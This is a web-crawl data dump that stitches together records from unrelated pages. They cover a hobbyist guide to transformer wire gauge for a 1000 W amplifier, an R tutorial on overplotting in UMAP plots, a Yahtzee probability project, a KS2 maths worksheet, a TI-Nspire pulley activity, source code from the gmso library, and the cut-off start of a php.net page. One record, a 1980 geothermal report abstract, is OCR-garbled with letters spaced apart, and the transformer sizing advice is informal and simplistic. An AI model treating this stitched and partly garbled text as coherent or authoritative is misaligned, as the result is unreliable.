https://electronicshelpcare.net/wire-gauge-transformer/ | [
"Breaking News\n\n# Wire gauge for transformer:\n\nToday we are going to learn that how to make a transformer. and also we can learn which gauge of wire we need for our transformer. at first, we have to decide where we are going to use the transformer? Such as Charger, amplifier, DC fan, Light. for our need, we will decide wire gauge for the transformer.\n\n## For an example: Amplifier\n\nLet’s go to make a transformer for an amplifier.\n\nWe want to make the 1000Watts amplifier. for 1000Watts we need a 1000Watts transformer first. let’s go to make a 1000Watts transformer. if you don’t know that how to make transformer read this article first, Transformer,\n\nFor Primary Binding: our primary voltage is 220v AC. We know that Watts/Voltage=Amperes. So, 1000/220=4.5. our primary ampere will be 4.5. so we have to use 4.5-ampere wire. Let’s go to know which wire can give 4.5 amperes.\n\nGauge – Ampere\n\n7 – 44.2\n\n8 – 33.3\n\n9 – 26.5\n\n10 – 21.2\n\n11 – 16.6\n\n12 – 13.5\n\n13 – 10.5\n\n14 – 8.3\n\n15 – 6.6\n\n16 – 5.2\n\n17 – 4.1\n\n18 – 3.2\n\n19 – 2.6\n\n20 – 2.0\n\n21 – 1.6\n\n22 – 1.2\n\n23 – 1.0\n\n24 – 0.8\n\n25 – 0.6\n\n26 – 0.5\n\n27 – 0.4\n\n28 – 0.3\n\n29 – 0.29\n\n30 – 0.22\n\nSo our wire will be 16 or 17 as you want. number 16 is for 5.2 amperes and number 17 is for 4.1 amperes.\n\nNow we are going to select the Secondary wire. our amplifier is 1000 watts. We know that voltage X ampere= Watts. our voltage will be 50. so Watts / Voltage = Ampere. So, 1000/50=20. our secondary ampere will be 20 amperes. We can see in the ampere chart that Gauge number 10 is for 20 amperes. so we have to use 10 gauge number wire.\n\nlet’s watch a video\n\ntransistor circuit diagram of 2sa1943 and 2sc5200\n\nThanks a lot to be with us. If you want another post then please visit our website.\n\nWe have another post for you. like as repairing amplifier,",
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] | [
null,
"https://electronicshelpcare.net/wp-content/litespeed/avatar/31c65f3f0ac7fa0c446fad4e9429710e.jpg",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7938031,"math_prob":0.9750954,"size":3023,"snap":"2021-43-2021-49","text_gpt3_token_len":898,"char_repetition_ratio":0.182842,"word_repetition_ratio":0.011029412,"special_character_ratio":0.31326497,"punctuation_ratio":0.14909638,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97676146,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-05T05:07:56Z\",\"WARC-Record-ID\":\"<urn:uuid:b694580e-13ad-41a3-84bb-280c3449becb>\",\"Content-Length\":\"71942\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a0cf3ba2-e397-41f2-bcfe-c0fa3ba4b83f>\",\"WARC-Concurrent-To\":\"<urn:uuid:d4c6de34-dd90-4b1e-9059-4e474d0162bc>\",\"WARC-IP-Address\":\"172.67.140.211\",\"WARC-Target-URI\":\"https://electronicshelpcare.net/wire-gauge-transformer/\",\"WARC-Payload-Digest\":\"sha1:3OK6XYEIMRZKCH4G3NKFEEMKQBEXIKHA\",\"WARC-Block-Digest\":\"sha1:SJUC6CLGIDU44QQSZWDBAWXV6NPPNGLJ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964363135.71_warc_CC-MAIN-20211205035505-20211205065505-00235.warc.gz\"}"} |
https://divingintogeneticsandgenomics.com/post/how-to-deal-with-overplotting-without-being-fooled/ | [
"# How to deal with overplotting without being fooled\n\n### The problem\n\nLet me be clear, when you have gazillions of data points in a scatter plot, you want to deal with the overplotting to avoid drawing misleading conclusions.\n\nlibrary(dplyr)\nlibrary(Seurat)\nlibrary(patchwork)\nlibrary(ggplot2)\nlibrary(ComplexHeatmap)\nlibrary(SeuratData)\nset.seed(1234)\n\nprepare the data\n\ndata(\"pbmc3k\")\n\npbmc3k\n#> An object of class Seurat\n#> 13714 features across 2700 samples within 1 assay\n#> Active assay: RNA (13714 features, 0 variable features)\n## routine processing\npbmc3k<- pbmc3k %>%\nNormalizeData(normalization.method = \"LogNormalize\", scale.factor = 10000) %>%\nFindVariableFeatures(selection.method = \"vst\", nfeatures = 2000) %>%\nScaleData() %>%\nRunPCA(verbose = FALSE) %>%\nFindNeighbors(dims = 1:10, verbose = FALSE) %>%\nFindClusters(resolution = 0.5, verbose = FALSE) %>%\nRunUMAP(dims = 1:10, verbose = FALSE)\n\nIdents(pbmc3k)<- pbmc3k$seurat_annotations pbmc3k<- pbmc3k[, !is.na(pbmc3k$seurat_annotations)]\n\nDimPlot(pbmc3k, reduction = \"umap\", label = TRUE)",
null,
"### Illusion 1: dots are masked.\n\nFeaturePlot(pbmc3k, features = c(\"CD4\", \"CD3D\"))",
null,
"ggplot2 plots the dots with the order that they show in the dataframe. When you have a lot of dots, they plot on top of each other. The blue dot can be masked by the grey dot if the grey dot/cell appears after the blue dot/cell.\n\nFeaturePlot(pbmc3k, features = c(\"CD4\", \"CD3D\"), order = TRUE)",
null,
"You can tell that it appears both CD4 and CD3D have enhanced expression after you set the order =TRUE. Essentially, this will cause the cells with some expression of those genes plotted in the last.\n\nNote, by default, scCustomize::FeaturePlot_scCustom set the order by TRUE. https://samuel-marsh.github.io/scCustomize/articles/Gene_Expression_Plotting.html#plot-gene-expression-in-2d-space-pcatsneumap\n\n### Illusion2: number of dots\n\nOnly when you plot the density of the points you know where are the dots are concentrated.\n\np1<- FeaturePlot(pbmc3k, features = \"CD3D\", order = TRUE)\n\np2<- scCustomize::Plot_Density_Custom(seurat_object = pbmc3k, features = \"CD3D\",\nviridis_palette= \"viridis\")\n\np1 | p2",
null,
"How the plot on the right was made? No worries, let me show you how to plot the density plot from scratch using ggplot2.\n\nFirst, some helper functions:\n\nmatrix_to_expression_df<- function(x, obj){\ndf<- x %>%\nas.matrix() %>%\nas.data.frame() %>%\ntibble::rownames_to_column(var= \"gene\") %>%\ntidyr::pivot_longer(cols = -1, names_to = \"cell\", values_to = \"expression\") %>%\ntidyr::pivot_wider(names_from = \"gene\", values_from = expression) %>%\nleft_join(obj@meta.data %>%\ntibble::rownames_to_column(var = \"cell\"))\nreturn(df)\n}\n\nget_expression_data<- function(obj, assay = \"RNA\", slot = \"data\",\ngenes = NULL, cells = NULL){\nif (is.null(genes) & !is.null(cells)){\ndf<- GetAssayData(obj, assay = assay, slot = slot)[, cells, drop = FALSE] %>%\nmatrix_to_expression_df(obj = obj)\n} else if (!is.null(genes) & is.null(cells)){\ndf <- GetAssayData(obj, assay = assay, slot = slot)[genes, , drop = FALSE] %>%\nmatrix_to_expression_df(obj = obj)\n} else if (is.null(genes & is.null(cells))){\ndf <- GetAssayData(obj, assay = assay, slot = slot)[, , drop = FALSE] %>%\nmatrix_to_expression_df(obj = obj)\n} else {\ndf<- GetAssayData(obj, assay = assay, slot = slot)[genes, cells, drop = FALSE] %>%\nmatrix_to_expression_df(obj = obj)\n}\nreturn(df)\n}\nlibrary(ggpointdensity)\n\n## fetch the dataframe\ndf<- get_expression_data(pbmc3k, genes = \"CD3D\")\n\numap_cor<- pbmc3k@reductions\\$umap@cell.embeddings %>%\nas.data.frame() %>%\ntibble::rownames_to_column(var = \"cell\")\n\ndf<- left_join(df, umap_cor)\n\nhead(df)\n#> # A tibble: 6 × 10\n#> cell CD3D orig.ident nCount_RNA nFeature_RNA seurat_annotations\n#> <chr> <dbl> <fct> <dbl> <int> <fct>\n#> 1 AAACATACAACCAC 2.86 pbmc3k 2419 779 Memory CD4 T\n#> 2 AAACATTGAGCTAC 0 pbmc3k 4903 1352 B\n#> 3 AAACATTGATCAGC 3.49 pbmc3k 3147 1129 Memory CD4 T\n#> 4 AAACCGTGCTTCCG 0 pbmc3k 2639 960 CD14+ Mono\n#> 5 AAACCGTGTATGCG 0 pbmc3k 980 521 NK\n#> 6 AAACGCACTGGTAC 1.73 pbmc3k 2163 781 Memory CD4 T\n#> # … with 4 more variables: RNA_snn_res.0.5 <fct>, seurat_clusters <fct>,\n#> # UMAP_1 <dbl>, UMAP_2 <dbl>\np3<- ggplot(df, aes(x= UMAP_1, y= UMAP_2 )) +\ngeom_point(data = df %>% filter(CD3D == 0), color = \"#440154FF\", size = 0.6) +\nggpointdensity::geom_pointdensity(data = df %>% filter(CD3D > 0), size = 0.6) +\nviridis::scale_color_viridis() +\ntheme_classic(base_size = 14) +\nggtitle(\"from scratch\")\n\np2 | p3",
null,
"They look similar enough. Note the legend is different (density vs number of neighbors), but you get the idea.\n\n### Rastering\n\nHave you found that when you have gazillions of points, the resulting PDF or PNG file is so big and your computer is so slow to view them?\n\nRastering the image come to the rescue. Let’s use https://github.com/exaexa/scattermore\n\nlibrary(scattermore)\n\nggplot(df, aes(x=UMAP_1, y= UMAP_2)) +\ngeom_scattermore() +\ntheme_classic(base_size = 14) +\nggtitle(\"geom_scattermore\")",
null,
"You can not see the difference here. But if you zoom in the figure on your computer, you will see the rectangles of the points.\n\nFor this small dataset (only 3000 cells), you can not feel the differences of plotting speed. However, when you have millions of cells, you may want to give scattermore a try!\n\nThe same thing applies to heatmap too."
] | [
null,
"https://divingintogeneticsandgenomics.com/post/2023-03-05-how-to-deal-with-overplotting-without-being-fooled_files/figure-html/unnamed-chunk-3-1.png",
null,
"https://divingintogeneticsandgenomics.com/post/2023-03-05-how-to-deal-with-overplotting-without-being-fooled_files/figure-html/unnamed-chunk-4-1.png",
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"https://divingintogeneticsandgenomics.com/post/2023-03-05-how-to-deal-with-overplotting-without-being-fooled_files/figure-html/unnamed-chunk-5-1.png",
null,
"https://divingintogeneticsandgenomics.com/post/2023-03-05-how-to-deal-with-overplotting-without-being-fooled_files/figure-html/unnamed-chunk-6-1.png",
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"https://divingintogeneticsandgenomics.com/post/2023-03-05-how-to-deal-with-overplotting-without-being-fooled_files/figure-html/unnamed-chunk-8-1.png",
null,
"https://divingintogeneticsandgenomics.com/post/2023-03-05-how-to-deal-with-overplotting-without-being-fooled_files/figure-html/unnamed-chunk-9-1.png",
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http://kidsprojects.info/Mathematics/Five-of-a-Kind-is-Hard-to-Get.php | [
"",
null,
"",
null,
"Home Chemistry Physics Mathematics Bio Chemistry Plant Biology Aerodynamics Zoology Energy Science Product Science Science Experiments Kids Projects Contact Us\n\n# Five of a Kind is Hard to Get\n\nThe Objective : The reason I chose this project is because I always wanted to know why it was so hard to roll a Yahtzee (five of a kind). My objective was to calculate and then test the probability of getting five of a kind with five dice on a single roll.\n\nMethods/Materials\n\nMy materials included 5 regular six-sided dice, pencil, paper, and a personal computer with Microsoft Excel.\n\nI used mathematical probability to determine the chance of rolling five of a kind.\n\nI then rolled five dice 500 times physically to test the probability.\n\nI then used a Microsoft Excel spreadsheet to simulate 24,000 more random rolls.\n\nI repeated the 24,000 random rolls 42 more times for a total of 1,008,000 rolls.\n\nFinally, I compared the actual results to the predicted probability.\n\nResults\n\nThe mathematical probability was 1 in 1,296, or 0.0772%. My actual results on over a million simulated rolls were 0.0773%, almost exactly the expected results.\n\nConclusions/Discussion\n\nFive of a Kind turned out to be very hard to get on a single roll. I only got 779 of them in over a million rolls. Also, you shouldn't rely on data from small numbers of tests to test probabilities. I rolled one Yahtzee in 500 rolls or a 0.2% chance. My samples of 24,000 rolls varied from a low of 10 to a high of 27 Yahtzee's, or a 2.7x difference. However, in 1,008,000 rolls the probability was 0.0773% or almost exactly the predicted probability.\n\nThis project demonstrates how hard it is to get Five of a Kind on a single roll of five dice.\n\nScience Fair Project done By Paul H. Lego"
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https://www.edplace.com/worksheet_info/maths/keystage2/year4/topic/846/1036/addition-and-subtraction:-find-the-missing-number-2 | [
"",
null,
"",
null,
"# Find the Missing Number by Using Inverse Operation\n\nIn this worksheet, students will subtract to find the missing number in an addition.",
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"Key stage: KS 2\n\nCurriculum topic: Number: Addition and Subtraction\n\nCurriculum subtopic: Add/Subtract up to Four-Digit Numbers\n\nDifficulty level:",
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"",
null,
"",
null,
"#### Worksheet Overview\n\nExample\n\nFind the missing number.\n\n+ 269 = 623\n\nAdding and subtracting are opposites (inverses).\n\nSo, to work out the missing number we simply subtract.\n\n623 - 269 = 354\n\nAre you ready to have a go at some questions now?",
null,
"### What is EdPlace?\n\nWe're your National Curriculum aligned online education content provider helping each child succeed in English, maths and science from year 1 to GCSE. With an EdPlace account you’ll be able to track and measure progress, helping each child achieve their best. We build confidence and attainment by personalising each child’s learning at a level that suits them.\n\nGet started",
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https://paperzz.com/doc/9302111/activity-overview---ti-education | [
"### Activity overview - TI Education\n\n```TIphysics.com\nMechanical Advantage of Pulleys – ID: 11568\nBy Irina Lyublinskaya\nPhysics\nTime required\n45 minutes\nTopic: Work and Energy\n• Calculate the mechanical advantages and efficiencies of simple machines.\nActivity Overview\nIn this activity, students explore a single-fixed-pulley system. They vary the load and measure\nthe force necessary to lift the load. They use these data to determine the mechanical advantage\nof the pulley system for each load. They then use simulations of more-complex pulley systems\nto extend their understanding of mechanical advantage.\nMaterials\nTo complete this activity, each student will require the following:\n• TI-Nspire™ technology\n• single pulley with clamp\n• Vernier Dual-Range Force sensor\n• mass set with hanger\n• string\nTI-Nspire Applications\nGraphs & Geometry, Notes, Lists & Spreadsheet, Data & Statistics\nTeacher Preparation\nBefore carrying out this activity, students should be familiar with the definition of mechanical\nadvantage and the equations that can be used to calculate it.\n• The string used should be thin enough to easily fit through the pulley. Clamp or\notherwise attach the pulley to a solid surface so that it cannot move.\n• If a hanging mass set is not available, students can use other masses in the activity.\nThey should use string or another material to attach the masses to the pulley system.\n• The screenshots on pages 2–7 demonstrate expected student results. Refer to the\nscreenshots on page 8 for a preview of the student TI-Nspire document (.tns file). Pages\n9–11 contain the student worksheet.\n• To download the .tns file and student worksheet, go to education.ti.com/exchange\nand enter “11568” in the search box.\nClassroom Management\n• This activity is designed to be student-centered, with the teacher acting as a facilitator\nwhile students work cooperatively. The student worksheet guides students through the\nmain steps of the activity and includes questions to guide their exploration. Students\nmay record their answers to the questions on blank paper or answer in the .tns file using\nthe Notes application.\n• The ideas contained in the following pages are intended to provide a framework as to\nhow the activity will progress. Suggestions are also provided to help ensure that the\nobjectives for this activity are met.\n• In some cases, these instructions are specific to those students using TI-Nspire\nhandheld devices, but the activity can easily be done using TI-Nspire computer software.\nPage 1\nTIphysics.com\nPhysics\nThe following questions will guide student exploration during this activity:\n• What is the relationship between effort force and resistance force when you pull a load\nin a single-fixed-pulley system with constant speed?\n• What is the mechanical advantage of a single fixed pulley?\n• Why is a single fixed pulley used to lift heavy loads?\n• How can pulleys be used to increase mechanical advantage?\nThe goals of this activity for students are a) to observe and compare the magnitude and\ndirection of the effort force and resistance force of a pulley system; b) to determine the\nmechanical advantage of a single-fixed-pulley system; c) to determine the reasons for using a\nsingle-fixed-pulley system; and d) to qualitatively explore other pulley systems. Students\ncollect data on effort force for various loads in a single pulley system, analyze these data,\ncalculate the mechanical advantage in each case, and make conclusions about the\nusefulness of the single pulley system. Then they use simulations to explore various\nconstructions of single and double pulley systems and their mechanical advantages.\nProblem 1 – Exploring a single-fixed-pulley system\nStep 1: Students should set up a single-fixed-pulley\nsystem by attaching a pulley to a solid surface (such as\nthe underside of a table). They should cut a piece of\nstring approximately 100 cm long and make small loops\non each end of the string. They should place the string\naround the pulley. Their setup should resemble the\ndiagram to the right.\nStep 2: Students will use a Vernier Dual-Range Force\nsensor to collect force data. Make sure the switch on\nthe force sensor is in the ±10 N position. Students\nshould connect the force sensor to the EasyLink\ninterface (if students are using TI-Nspire handhelds to\ncollect data) or to the Go! Link interface (if they are\nusing TI-Nspire computer software to collect data).\ninterface to their handheld or computer yet. Then,\nstudents should answer questions 1 and 2.\nQ1. If you place a mass at one end of the string, what\nforce will be required to lift the mass with constant\nspeed?\nA. In the absence of friction, the force needed to lift\nthe mass at constant speed is equal to the weight\nof the mass. If you wish, you may have students\ndiscuss the role of friction (between the string and\nthe pulley and between the pulley and its axle) in\nthe system.\nPage 2\nTIphysics.com\nPhysics\nQ2. What forces act on the system in this case? Draw\na force diagram for the system.\nA. A sample force diagram is shown below.\nT\nFr = W\nT\nFe\nHere T is the force of tension, Fr is the resistance\nforce (equal to W, the weight of the mass), and Fe\nis the effort force.\nStep 3: Next, students should open the file\nPhyAct_11568_Pulley.tns, read the first two pages,\nand then connect the EasyLink interface to their\nhandheld (or the Go! Link interface to their computer). A\nforce data collection display should appear.\nStep 4: Students should select Menu > Experiment >\nDisplay Data In > New Graphs & Geometry. A new\nGraphs & Geometry page with a data collection box\nshould be automatically inserted in the .tns file. (Note:\nWhen students connect the interface to their handheld\nor computer, a dialog box may appear asking them\nwhat type of application they want to insert the data\ncollection box in. If this occurs, students should select\nGraphs & Geometry from the menu and click OK.)\nStep 5: Students should wait for the data collection\ndisplay to stabilize and then zero the force sensor\n(Menu > Sensors > Zero). Then, they should place a\n100 g mass on one end of the string and connect the\nforce sensor to the other end of the string.\nPage 3\nTIphysics.com\nPhysics\nStep 6: Next, students should set up the data\ncollection for Events with Entry mode (Menu >\nExperiment > Set Up Data Collection > Events with\nEntry). The “play” button (►) should be highlighted in\nthe data collection box. If this is the case, students need\nonly click (press a) to begin data collection. If the play\nbutton is not highlighted, students should press e\nuntil it is selected.\nStep 7: Students should start the data collection and\nthen pull downward on the force sensor to lift the mass\nshould click on the Keep button ( ) to save the data\npoint. Students will be prompted to enter a value in the\nevent box. They should enter the mass attached to the\nstring.\nStep 8: Students should repeat the data collection four\nmore times, adding 100 g to the mass on the end of the\nstring during each trial. (The final mass should be\n500 g.) Once the data have been collected, students\nshould stop the data collection, close the data display\nbox, and disconnect the EasyLink from the handheld (or\nStep 9: Next, students should move to page 1.4, which\ncontains a Lists & Spreadsheet application. Students\nwill use this application to calculate the resistance force.\nBefore they calculate resistance force, they should\nQ3. How would you calculate the resistance force for\neach trial?\nA. The resistance force (Fr) is the weight of the\nattached mass. In order to calculate it, students\nshould use the formula W = mg, where m is the\nmass in kilograms and g is acceleration due to\ngravity (9.8 m/s2). Since the students' mass data\nare recorded in grams, they will need to divide the\nmass by 1,000 before multiplying it by 9.8.\nPage 4\nTIphysics.com\nPhysics\nStep 10: Students should set column A equal to\ndc01.event, the data set containing the mass they\nrecorded. They should then set column B equal to\ndc01.force1, the data set containing the effort force\ndata they collected. They should label column A mass\nand column B e_force.\nStep 11: Students should label column C r_force. They\nshould then enter the expression =a[]·9.8/1000 in the\nformula bar for column C and press ·. Column C\nshould now display the resistance force for each trial.\nStudents should study the data and then answer\nquestions 4 and 5.\nQ4. Compare the effort and resistance force for each\nmass.\nA. The effort force (Fe) is the downward force\napplied by pulling on the force sensor. In each\ncase, the magnitude of the effort force is equal to\nthe magnitude of the resistance force (Fr), but the\nforces have opposite directions.\nQ5. What is the mechanical advantage of this pulley\nsystem?\nA. The mechanical advantage is the ratio of the\nresistance force to the effort force. It is equal to 1\nfor a single-fixed-pulley system. Students'\ncalculated data should follow this relationship.\nStep 12: Next, students will confirm their observations\nof mechanical advantage using a graph. They should\nmove to page 1.5, which contains an empty Data &\nStatistics application. They should use this application\nto make a plot of r_force vs. e_force.\nPage 5\nTIphysics.com\nPhysics\nStep 13: Students' data should lie along a straight line.\nStudents should use the Regression tool (Menu >\nAnalyze > Regression > Show Linear (mx + b)) to\nfind the best-fit line for their data. They should then\nA. The best-fit line should have a slope of\napproximately 1. This slope is equal to the\nmechanical advantage of the pulley system, and it\nshould agree with students' observations.\nQ7. What is the advantage of using a single fixed\nA. A single fixed pulley changes the direction, but not\nthe magnitude, of the force required to lift the load.\nPulling downward is often easier than lifting\nupward, even if the force applied is the same.\nQ8. Can you think of a way to use a single pulley to\nproduce a mechanical advantage greater than 1?\nA. Students' answers will vary. For a single pulley to\nhave a mechanical advantage greater than 1, the\npulley must be able to move. Furthermore, the\npulley must be turned upside-down. Students will\nexplore this type of system in the next problem.\nProblem 2 – Pulley system simulations\nStep 1: Next, students should move to page 2.1, which\nshows a simulation of a single-movable-pulley system.\nStudents should use the Length Measurement tool\n(Menu > Measurement > Length) to measure the\nlengths of the resistance force (downward vector) and\nthe effort force (upward vector). They can change the\neffort force by dragging point pull up up or down; they\ncan change the resistance force by dragging point\nchange load up or down. You may wish to point out that,\nwhen they move the pull up point, the value that is\ndisplayed for load represents the resistance force the\neffort force produces. Similarly, when they move the\nchange load point, the upward force value displayed\nrepresents the effort force require to lift that load. They\nshould then answer questions 9 and 10.\nPage 6\nTIphysics.com\nPhysics\nQ9. What is the mechanical advantage of this system?\nA. Mechanical advantage is the ratio of resistance\nforce to effort force. In this case, the lengths of the\nF\ntwo vectors show that 2Fe = Fr, so r = 2 . The\nFe\nmechanical advantage of this system is therefore\n2. The force diagram on page 2.1 illustrates that\nthe tension (upward, or effort, force) on each\nstring is equal to half the resistance force—that is,\nthe weight of the load is distributed equally\nbetween the two strings.\nQ10. Do you think a single movable pulley would be\neasier or harder to use than the single-fixed-pulley\nsystem?\nA. Students' answers will vary. On the one hand, this\nsystem requires half as much effort force as the\nfixed-pulley system. On the other hand, it is\ngenerally much easier to apply a downward effort\nforce than an upward force, so this system may be\nmore difficult to use. This difficulty is compounded\nby the fact that the pulley itself moves.\nStep 2: Next, students should move to page 2.2, which\ncontains a simulation of a two-pulley system that also\nhas a mechanical advantage of 2. This system uses a\nsingle moving pulley in combination with a fixed pulley.\nThis allows the effort to be applied downward, making\nthe pulley system easier to use than the single-movablepulley system on page 2.1. Students can change the\neffort force by dragging point pull down up or down; they\ncan change the resistance force by dragging point\nchange load up or down. Students should again\nmeasure the lengths of the resistance vector and the\neffort vector. They should then answer question 11.\nA. The resistance force is equal to twice the effort. The mechanical advantage of this\nsystem is therefore 2. If time and materials permit, you may wish to have students build\npulley systems that resemble those on pages 2.1 and 2.2, collect force data for the\nsystems as they did in problem 1, and confirm their answers to questions 9 and 11. If\nyou wish, you may also have students explore the relationship between the distance the\nrope is pulled in each case and the distance the load moves. This can help them\nunderstand that simple machines do not reduce the amount of work done (i.e., if a\nsmaller force is required, it must be applied over a greater distance).\nPage 7\nTIphysics.com\nPhysics\nMechanical Advantage of Pulleys – ID: 11568\n(Student)TI-Nspire File: PhyAct_11568_Pulley.tns\nPage 8\nTIphysics.com\nPulleys\nID: 11568\nPhysics\nName ____________________________\nClass ____________________________\nIn this activity, you will explore the following:\n•\n•\nthe relationships between the effort force and the resistance force in a pulley system\nthe mechanical advantages of various pulley systems\nIn this experiment, you will observe and compare the magnitude and direction of the effort force and\nresistance force of a pulley system, determine the mechanical advantage of the pulley system, and infer\nthe reasons for using pulley systems. You will also use simulations to explore various constructions of\nsingle- and double-pulley systems and their mechanical advantages.\nProblem 1: Exploring a single-fixed-pulley system\nStep 1: Set up a single-fixed-pulley system as shown in the diagram\nto the right. Attach the pulley to a rigid surface. Cut a 100 cm length of\nstring, and make small loops in each end. Place the string around the\npulley.\nStep 2: You will use a Vernier Dual-Range Force sensor to collect\nforce data. Make sure the switch on the force sensor is in the ±10 N\nposition. Connect the force sensor to the EasyLink interface (if you are\nusing a TI-Nspire handheld to collect data) or to the Go! Link interface\n(if you are using TI-Nspire computer software to collect data). Do not\ncomputer yet.\nQ1. If you place a mass at one end of the string, what force will be\nrequired to lift the mass with constant speed?\nQ2. What forces act on the system in this case? Draw a force diagram\nfor the system.\nStep 3: Open the file PhyAct_11568_Pulley.tns, read the first two\nthe Go! Link interface to your computer). A force data collection display\nshould appear.\nStep 4: Select Menu > Experiment > Display Data In > New\nGraphs & Geometry. A new Graphs & Geometry page with a data\ncollection box should be automatically inserted in the .tns file. (Note: If a\ndialog box appears asking what type of application you want to insert\nthe data collection box in, select Graphs & Geometry from the menu\nand click OK.)\nStep 5: Wait for the data collection display to stabilize, and then zero\nthe force sensor (Menu > Sensors > Zero). Then, place a 100 g mass\non one end of the string, and connect the force sensor to the other end\nof the string.\nPage 9\nTIphysics.com\nPhysics\nStep 6: Next, set up the data collection for Events with Entry mode\n(Menu > Experiment > Set Up Data Collection > Events with Entry).\nThe “play” button (►) should be highlighted in the data collection box. If\nthis is the case, you need only click (press a) to begin data\ncollection. If the play button is not highlighted, you should press e\nuntil it is selected.\nStep 7: Start the data collection and then pull downward on the force\nsensor to lift the mass up at a steady pace. Once the reading is stable,\nclick on the Keep button ( ) to save the data point. You will be\nprompted to enter a value in the event box. Enter the magnitude of the\nmass attached to the string, in grams.\nStep 8: Repeat the data collection four more times, adding 100 g to\nthe mass on the end of the string during each trial. Once the data have\nbeen collected, stop the data collection, close the data display box, and\ncomputer).\nStep 9: Next, move to page 1.4, which contains a Lists &\nSpreadsheet application. You will use this application to calculate the\nresistance force.\nQ3. How would you calculate the resistance force for each trial?\nStep 10: Set column A equal to dc01.event, the data set containing\nthe mass you recorded. Then set column B equal to dc01.force1, the\ndata set containing the effort force data you collected. Label column A\nmass and column B e_force.\nStep 11: Label column C r_force. Enter the formula for resistance force\nin column C and press ·. Column C should now display the resistance\nforce for each trial. Study the data and then answer questions 4 and 5.\nQ4. Compare the effort and resistance force for each mass.\nQ5. What is the mechanical advantage of this pulley system?\nStep 12: Next, you will use a graph to confirm your observations of\nmechanical advantage. Move to page 1.5, which contains an empty\nData & Statistics application. Use this application to make a graph of\nr_force vs. e_force.\nPage 10\nTIphysics.com\nPhysics\nStep 13: Use the Regression tool to find the best-fit line for your data.\nQ6. Does this graph agree with your answer to question 5? Explain\nQ7. What is the advantage of using a single fixed pulley to lift a load?\nQ8. Can you think of a way to use a single pulley to produce a\nProblem 2 – Pulley system simulations\nStep 1: Next, move to page 2.1, which shows a simulation of a singlemovable-pulley system. Use the Length Measurement tool to measure\nthe lengths of the resistance force and the effort force. You can change\nthe effort force by dragging point pull up up or down; you can change\nthe resistance force by dragging point change load up or down.\nQ9. What is the mechanical advantage of this system? Explain your"
] | [
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https://scholar.archive.org/work/cvhvgicfljhlzay5n4gnx5fcz4 | [
"### Wellbore and soil thermal simulation for geothermal wells: development of computer model and acquisition of field temperature data. Part I report [report]\n\nG.R. Wooley\n1980 unpublished\nA downhole t h e r m a l s i m u l a t o r h a s been developed t o improve u n d e r s t a n d i n g of t h e h i g h downhole t e m p e r a t u r e s t h a t a f f e c t many d e s i g n f a c t o r s i n g e o t h e rm a l w e l l s . T h i s r e p o r t documents t h i s development and p r e s e n t s f i e l d tempera t u r e d a t a f o r f l o w i n g and s h u t -i n c o n d i t i o n s . Work performed under S a n d i a C o n t r a c t N o . 13-0212; s p o n s o r e d by"
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https://gmso.mosdef.org/en/latest/_modules/gmso/core/improper_type.html | [
"# Source code for gmso.core.improper_type\n\n```\"\"\"Defined interactions for improper-style connections.\"\"\"\nfrom typing import Optional, Tuple\n\nimport unyt as u\nfrom pydantic import Field\n\nfrom gmso.core.parametric_potential import ParametricPotential\nfrom gmso.utils._constants import IMPROPER_TYPE_DICT\n\n[docs]class ImproperType(ParametricPotential):\n__base_doc__ = \"\"\"A description of the interaction between 4 bonded partners.\n\nThis is a subclass of the gmso.core.Potential superclass.\n\nImproperType represents a improper type and includes the functional form\ndescribing its interactions. The functional form of the potential is stored\nas a `sympy` expression and the parameters, with units, are stored\nexplicitly. The AtomTypes that are used to define the improper type are\nstored as `member_types`.\n\nThe connectivity of an improper is:\n\nm2\n|\nm1\n/ \\\nm3 m4\n\nwhere m1, m2, m3, and m4 are connection members 1-4, respectively.\n\nNotes\n----\nInherits many functions from gmso.ParametricPotential:\n__eq__, _validate functions\n\n\"\"\"\n\nmember_types_: Optional[Tuple[str, str, str, str]] = Field(\nNone,\ndescription=\"List-like of gmso.AtomType.name \"\n\"defining the members of this improper type\",\n)\n\nmember_classes_: Optional[Tuple[str, str, str, str]] = Field(\nNone,\ndescription=\"List-like of gmso.AtomType.atomclass \"\n\"defining the members of this improper type\",\n)\n\ndef __init__(\nself,\nname=\"ImproperType\",\nexpression=None,\nparameters=None,\nindependent_variables=None,\npotential_expression=None,\nmember_types=None,\nmember_classes=None,\ntopology=None,\ntags=None,\n):\nif potential_expression is None:\nif expression is None:\nexpression = \"0.5 * k * ((phi - phi_eq))**2\"\n\nif parameters is None:\nparameters = {\n\"k\": 1000 * u.Unit(\"kJ / (deg**2)\"),\n\"phi_eq\": 0 * u.deg,\n}\n\nif independent_variables is None:\nindependent_variables = {\"phi\"}\n\nsuper(ImproperType, self).__init__(\nname=name,\nexpression=expression,\nparameters=parameters,\nindependent_variables=independent_variables,\npotential_expression=potential_expression,\ntopology=topology,\nmember_types=member_types,\nmember_classes=member_classes,\nset_ref=IMPROPER_TYPE_DICT,\ntags=tags,\n)\n\n@property\ndef member_types(self):\n\"\"\"Return member information for this ImproperType.\"\"\"\nreturn self.__dict__.get(\"member_types_\")\n\n@property\ndef member_classes(self):\nreturn self.__dict__.get(\"member_classes_\")\n\n[docs] class Config:\n\"\"\"Pydantic configuration for attributes.\"\"\"\n\nfields = {\n\"member_types_\": \"member_types\",\n\"member_classes_\": \"member_classes\",\n}\n\nalias_to_fields = {\n\"member_types\": \"member_types_\",\n\"member_classes\": \"member_classes_\",\n}\n```"
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https://www.php.net/manual/en/function.rawurldecode.php | [
